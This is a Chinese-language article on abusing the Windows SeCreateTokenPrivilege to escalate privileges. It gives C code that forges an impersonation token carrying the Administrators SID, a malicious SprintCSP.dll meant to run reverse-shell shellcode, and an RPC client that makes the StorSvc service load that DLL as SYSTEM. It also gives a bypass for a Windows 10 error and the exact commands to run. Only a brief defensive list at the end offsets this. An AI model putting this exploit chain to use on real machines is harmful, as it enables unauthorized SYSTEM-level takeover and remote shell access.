Token Privileges Abusing - SeCreateTokenPrivilege
字数 2065 2025-08-06 08:34:49
SeCreateTokenPrivilege滥用技术详解
1. SeCreateTokenPrivilege概述
SeCreateTokenPrivilege是Windows系统中的一项特权,在Microsoft官方文档中被描述为"Create a token object"。这项特权被认为是"上帝"权限,因为拥有该特权的任何进程能够通过ZwCreateToken API创建主令牌。
1.1 ZwCreateToken函数
ZwCreateToken是Windows操作系统的Native API,其语法如下:
NTSTATUS ZwCreateToken(
OUT PHANDLE TokenHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN TOKEN_TYPE Type,
IN PLUID AuthenticationId,
IN PLARGE_INTEGER ExpirationTime,
IN PTOKEN_USER User,
IN PTOKEN_GROUPS Groups,
IN PTOKEN_PRIVILEGES Privileges,
IN PTOKEN_OWNER Owner,
IN PTOKEN_PRIMARY_GROUP PrimaryGroup,
IN PTOKEN_DEFAULT_DACL DefaultDacl,
IN PTOKEN_SOURCE Source
);
参数说明:
TokenHandle:用于接收创建的访问令牌的句柄DesiredAccess:访问令牌的所需访问权限,使用TOKEN_ALL_ACCESS可以获得所有权限ObjectAttributes:指向OBJECT_ATTRIBUTES结构的指针,用于指定令牌对象的属性Type:指定要创建的令牌的类型,如TokenPrimary或TokenImpersonationAuthenticationId:指定令牌的身份验证标识ExpirationTime:指定令牌的过期时间,或使用NULL表示不设置过期时间User:指向TOKEN_USER结构的指针,用于指定令牌所属的用户Groups:指向TOKEN_GROUPS结构的指针,用于指定令牌所属的组Privileges:指向TOKEN_PRIVILEGES结构的指针,用于指定令牌的特权Owner:指向TOKEN_OWNER结构的指针,用于指定令牌的所有者PrimaryGroup:指向TOKEN_PRIMARY_GROUP结构的指针,用于指定令牌的主组DefaultDacl:指向TOKEN_DEFAULT_DACL结构的指针,用于指定令牌的默认DACLSource:指向TOKEN_SOURCE结构的指针,用于指定令牌的源标识
2. 技术原理
2.1 令牌创建与权限提升
如果我们接管了拥有SeCreateTokenPrivilege特权的账户或进程,就可以通过ZwCreateToken()函数制作一个新的模拟令牌并添加特权组的SID,实现特权提升。
关键步骤:
- 构建本地管理员组的SID(S-1-5-32-544)
- 遍历令牌的组并将其从当前用户提升为管理员
- 确保构建TokenImpersonation模拟级别的令牌
2.2 令牌模拟规则
Windows有关令牌模拟的相关规则:
- 如果令牌级别<Impersonate,则允许(此类令牌称为"Identification"级别,不能用于特权操作)
- 如果进程具有"Impersonate"特权,则允许
- 如果进程完整性级别>=令牌完整性级别且进程用户==令牌用户,则允许;否则将令牌限制为"Identification"级别(无法执行特权操作)
这意味着只要令牌是给当前用户的,并且完整性级别小于或等于当前进程完整性级别,就能够在没有任何特殊权限的情况下模拟令牌。
3. 利用实现
3.1 主函数流程
int wmain(int argc, wchar_t* argv[]) {
// 1. 获取命令行参数(源文件和目标文件)
// 2. 打开当前进程的令牌
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
// 错误处理
}
// 3. 为当前进程令牌启用SeCreateTokenPrivilege
if (!EnableTokenPrivilege(hToken, SE_CREATE_TOKEN_NAME)) {
// 错误处理
}
// 4. 创建提升权限的用户令牌
pElevatedToken = CreateUserToken(hToken);
// 5. 显示令牌信息
if (!DisplayTokenInformation(pElevatedToken)) {
// 错误处理
}
// 6. 将当前线程的令牌替换为新令牌
hThread = GetCurrentThread();
if (!SetThreadToken(&hThread, pElevatedToken)) {
// 错误处理
}
// 7. 利用提升的权限执行操作(如写入受保护目录)
if (!ExploitSeCreateTokenPrivilege(sourceFile, destFile)) {
// 错误处理
}
}
3.2 启用特权函数
BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
BOOL status = FALSE;
LUID luidValue = {0};
TOKEN_PRIVILEGES tokenPrivileges;
// 获取特权的LUID值
if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
// 错误处理
}
// 设置提升信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) {
// 错误处理
} else {
status = TRUE;
}
return status;
}
3.3 创建用户令牌
HANDLE CreateUserToken(HANDLE hToken) {
// 定义令牌对象属性
SECURITY_QUALITY_OF_SERVICE securityQualityOfService = {
sizeof(securityQualityOfService),
SecurityImpersonation,
SECURITY_STATIC_TRACKING,
FALSE
};
OBJECT_ATTRIBUTES objectAttributes = {
sizeof(objectAttributes),
0, 0, 0, 0,
&securityQualityOfService
};
// 定义SID
SID_BUILTIN LocalAdminGroupSID = {1, 2, {0, 0, 0, 0, 0, 5}, {32, DOMAIN_ALIAS_RID_ADMINS}};
SID_INTEGRITY IntegrityMediumSID = {1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID};
// 加载ZwCreateToken函数
_ZwCreateToken ZwCreateToken;
ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll"), "ZwCreateToken");
// 获取令牌信息
pTokenUser = (PTOKEN_USER)GetTokenInfo(hToken, TokenUser);
pTokenPrivileges = (PTOKEN_PRIVILEGES)GetTokenInfo(hToken, TokenPrivileges);
pTokenGroups = (PTOKEN_GROUPS)GetTokenInfo(hToken, TokenGroups);
pTokenPrimaryGroup = (PTOKEN_PRIMARY_GROUP)GetTokenInfo(hToken, TokenPrimaryGroup);
pTokenDefaultDacl = (PTOKEN_DEFAULT_DACL)GetTokenInfo(hToken, TokenDefaultDacl);
// 修改令牌组信息
for (DWORD i = 0; i < pTokenGroups->GroupCount; i++) {
if (pTokenGroups->Groups[i].Attributes & SE_GROUP_INTEGRITY) {
memcpy(pTokenGroups->Groups[i].Sid, &IntegrityMediumSID, sizeof(IntegrityMediumSID));
}
pSid = (PISID)pTokenGroups->Groups[i].Sid;
if (pSid->SubAuthority[pSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS) {
memcpy(pSid, &LocalAdminGroupSID, sizeof(LocalAdminGroupSID));
pTokenGroups->Groups[i].Attributes = SE_GROUP_ENABLED;
}
}
// 设置令牌所有者
pTokenOwner = (PTOKEN_OWNER)LocalAlloc(LPTR, sizeof(PSID));
pTokenOwner->Owner = pTokenUser->User.Sid;
// 调用ZwCreateToken创建令牌
Status = ZwCreateToken(
&pElevatedToken,
TOKEN_ALL_ACCESS,
&objectAttributes,
TokenImpersonation,
&AuthenticationId,
&ExpirationTime,
pTokenUser,
pTokenGroups,
pTokenPrivileges,
pTokenOwner,
pTokenPrimaryGroup,
pTokenDefaultDacl,
&tokenSource
);
return pElevatedToken;
}
3.4 设置令牌特权
void SetTokenPrivileges(PTOKEN_PRIVILEGES pTokenPrivileges) {
LUID luid;
pTokenPrivileges->PrivilegeCount = 6;
// 启用SeImpersonatePrivilege
LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid);
pTokenPrivileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[0].Luid = luid;
// 启用SeAssignPrimaryTokenPrivilege
LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid);
pTokenPrivileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[1].Luid = luid;
// 启用SeCreateTokenPrivilege
LookupPrivilegeValue(NULL, SE_CREATE_TOKEN_NAME, &luid);
pTokenPrivileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[2].Luid = luid;
// 启用SeRestorePrivilege
LookupPrivilegeValue(NULL, SE_RESTORE_NAME, &luid);
pTokenPrivileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[3].Luid = luid;
// 启用SeTakeOwnershipPrivilege
LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid);
pTokenPrivileges->Privileges[4].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[4].Luid = luid;
// 启用SeDebugPrivilege
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
pTokenPrivileges->Privileges[5].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[5].Luid = luid;
}
4. 实际利用示例
4.1 通过StorSvc服务提权
Windows的StorSvc是一项以NT AUTHORITY\SYSTEM账户权限运行的服务,该服务在本地调用SvcRebootToFlashingMode RPC方法时,会尝试加载SprintCSP.dll。
利用步骤:
- 创建恶意的SprintCSP.dll
- 使用SeCreateTokenPrivilege将DLL写入System32目录
- 通过RPC调用触发DLL加载
4.1.1 恶意DLL代码
#include "pch.h"
DWORD WINAPI DoMagic(LPVOID lpParameter) {
unsigned char shellcode[] = "\xfc\x48\x83..."; // 反弹shell的shellcode
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
HANDLE hThread = NULL;
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
hThread = CreateThread(NULL, 0, DoMagic, 0, 0, 0);
if (hThread) CloseHandle(hThread);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
4.1.2 RPC客户端代码
#include "storsvc_h.h"
#include <iostream>
#include <windows.h>
#pragma comment(lib, "RpcRT4.lib")
int wmain(int argc, wchar_t* argv[]) {
RPC_STATUS RpcStatus;
RPC_WSTR StringBinding;
RPC_BINDING_HANDLE hBinding;
// 创建绑定
RpcStatus = RpcStringBindingComposeW(NULL, (RPC_WSTR)L"ncalrpc", (RPC_WSTR)L"", (RPC_WSTR)L"", NULL, &StringBinding);
RpcStatus = RpcBindingFromStringBindingW(StringBinding, &hBinding);
// 调用RPC方法
RpcTryExcept {
long result = Proc6_SvcRebootToFlashingMode(hBinding, 0, 0);
if (result == 0) wprintf(L"[*] Dll hijack triggered!");
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER); {
// 错误处理
}
RpcEndExcept
RpcBindingFree(&hBinding);
}
5. 注意事项
-
在Windows 10 >= 1809或Windows Server 2019上,直接使用可能会遇到错误1346:"Either a required impersonation level was not provided, or the provided impersonation level is invalid"
-
解决方法:将AuthenticationId设置为ANONYMOUS_LOGON_LUID(0x3e6)而非SYSTEM_LUID(0x3e7),这样可以绕过安全检查
-
完整利用流程:
- 编译POC代码
- 上传到目标主机
- 执行:
SeCreateTokenPrivilege.exe -s malicious.dll -d C:\Windows\System32\malicious.dll - 触发DLL加载获取SYSTEM权限
6. 防御建议
- 严格控制SeCreateTokenPrivilege的分配,仅授予必要的账户和服务
- 定期审核系统特权分配
- 及时安装安全更新
- 监控可疑的令牌创建和模拟行为
- 实施最小权限原则,减少特权账户数量